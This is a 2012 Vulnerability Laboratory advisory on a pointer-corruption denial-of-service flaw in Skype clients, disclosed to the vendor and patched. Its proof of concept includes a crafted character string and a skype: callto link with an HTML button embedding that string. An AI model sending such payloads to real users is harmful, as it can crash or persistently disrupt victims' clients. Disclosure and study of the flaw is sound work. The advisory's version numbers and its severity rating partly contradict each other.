Lucene search
Vulnerability Laboratory - Benjamin Kunz Mejri , Alexander Fuchs & Ucha GobejishviliVULNERLAB:455HistoryMar 28, 2012 - 12:00 a.m.
Skype 5.8x 5.5x - Corruption & Persistent Vulnerability
2012-03-2800:00:00
Vulnerability Laboratory - Benjamin Kunz Mejri , Alexander Fuchs & Ucha Gobejishvili
www.vulnerability-lab.com
28
Document Title:
===============
Skype 5.8x 5.5x - Corruption & Persistent Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=455
MRSC ID: 12250
Video: http://vulnerability-lab.com/get_content.php?id=457
Release Date:
=============
2012-03-28
Vulnerability Laboratory ID (VL-ID):
====================================
455
Common Vulnerability Scoring System:
====================================
6.1
Product & Service Introduction:
===============================
Skype is a software application that allows users to make voice and video calls and chats over the Internet. Calls to other users within
the Skype service are free, while calls to both traditional landline telephones and mobile phones can be made for a fee using a debit-based
user account system. Skype has also become popular for its additional features which include instant messaging, file transfer, and video
conferencing. Skype has 663 million registered users as of 2010. The network is operated by Skype Limited, which has its headquarters in
Luxembourg. Most of the development team and 44% of the overall employees of Skype are situated in the offices of Tallinn and Tartu, Estonia.
(Copy of the Homepage: http://en.wikipedia.org/wiki/Skype )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a pointer corruptio issue in the Skype v5.8.x, v2.2 and v5.5.2340 software client.
Vulnerability Disclosure Timeline:
==================================
2012-02-24: Vendor Notification
2012-02-25: Vendor Response/Feedback
2012-03-20: Vendor Fix/Patch
2012-03-29: Public Disclosure
Discovery Status:
=================
Published
Affected Product(s):
====================
Microsoft Corp.
Product: Skype - Windows, MacOs & Linux 5.8.0.156, 5.5.0.2340, 2.2 Beta
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A pointer corruption vulnerability has been discovered in the official skype for windows v5.6.59.10 and macos v5.5.2340 client software.
The vulnerability allows an attacker to crash the software core process with an unhandled skype software pointer exception bug.
The bug is located in the software charset configuration. Attackers are able to perform requests with special crafted formats to
compromise the skype process and communication channel. The vulnerability allows an attacker to freeze, block, crash or glitch
the communication messagebox of the connected conference persons. The special crafted symbole format link can also be implemented
to the software input fields which results in different other unhandled client errors. Remote attackers are able to implement the
symbole strings to the contact user request messagebox or message topic. The result is also a stable persistent error message and
a denial of service. Attackers can also implement the test poc to the group labelname which results in a stable group error with
different exceptions as well. The facebook integration allows to sync the account with skype and can also redisplay the issue with
the error via facebook module and as wall posting. The callto function allows an attacker to implement the issue persistent on a
victim user profile by using the symbole string as nickname.
Vulnerable Module(s):
[+] MessageBox & Request Contact
[+] Contact Request Messagebox - Add Skype User
[+] Group Topic & Group Information Name
[+] Facebook integration - Connect Account Wall Postings
Affected OS version(s):
[+] Windows v5.8.0.156, MacOS 5.5.0.2340 & Linux 2.2 Beta
Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without required user inter action and with low privileged skype user account.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
PoC: Message Context Skype
็¬็ส็็็็็ -็็็็็็็็็็็็็็็็็็็็ส็¬็็
็็็็็็¬็็็็็็็็็็็็็็็็ส็
็็็¬็็็็็็็็็-็็็็็็็ ็็็็็ส็็็็็็็¬็็็็็็็็็็¬็
็็็็็็็ส็็็็็็็็็็¬็็็็็็็็็็็ ¬็็็็ส็็็็็็็็็็็็็¬็็็็ ็็็็็็็็¬ส็็็็็็็็็็็็็็็็-็็็็็็็็็ส็็็็็็็็็็็็็็็
็็็็ ¬็็็็็็ส็็็็็็็¬ส็็็็็็็็็็
็็็็็็็็็็็็็็็ส็็็¬¬็็็็็็
็็็็็็็็็็็็็็็็ส็็็็็็¬็
PoC: Call to Link Skype
<!--
Skype 'Skype Me™!' button
http://www.skype.com/go/skypebuttons
-->
<script type="text/javascript" src="http://download.skype.com/share/skypebuttons/js/skypeCheck.js"></script>
<a href="skype:?<!--
Skype 'Skype Me™!' button
http://www.skype.com/go/skypebuttons
-->
<script type="text/javascript" src="http://download.skype.com/share/skypebuttons/js/skypeCheck.js"></script>
<a href="
skype:็¬็ส็็็็็ -็็็็็็็็็็็็็็็็็็็็ส็¬็็็็
็็็็¬็็็็็็็็็็็็็็็็ส็็็็¬็
็็็็็็็็-็็็็็็็ ็็็็็ส็็็็็็็¬็็็็็็็็็็¬็็็
็็็็็ส็็็็็็็็็็¬็็็็็็็็็็็ ¬็็็็ส็็็็็็็็็็็็็¬็็็็ ็็็็็็็็¬ส็็็็็็็็็็็็็็็็-็็็็็็็็็ส็็็็็็็็็็็็็็็็
็็็ ¬็็็็็็ส็็็็็็็¬ส็็็็็็็็็็็
็็็็็็็็็็็็็็ส็็็¬¬็็็็็็็็
็็็็็็็็็็็็็็ส็็็็็็¬็ ?call
"><img src="http://download.skype.com/share/skypebuttons/buttons/call_blue_white_124x52.png" style="border: none;" width="124"
height="52" alt="Skype Me™!" /></a>
?call"><img src="http://download.skype.com/share/skypebuttons/buttons/call_blue_white_124x52.png" style="border: none;"
width="124" height="52" alt="Skype Me™!" /></a>
Solution - Fix & Patch:
=======================
Update the skype software client to the version 2.3 (linux) and 5.8.0.158 (windows) to fix the vulnerability.
Security Risk:
==============
The security risk of the pointer corruption software vulnerability in the skype software is estimated as high. (CVSS 6.1)
Credits & Authors:
==================
Vulnerability Laboratory - Benjamin Kunz Mejri , Alexander Fuchs & Ucha Gobejishvili
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register
Contact: [email protected] - [email protected] - [email protected]
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.
Copyright © 2012 | Vulnerability Laboratory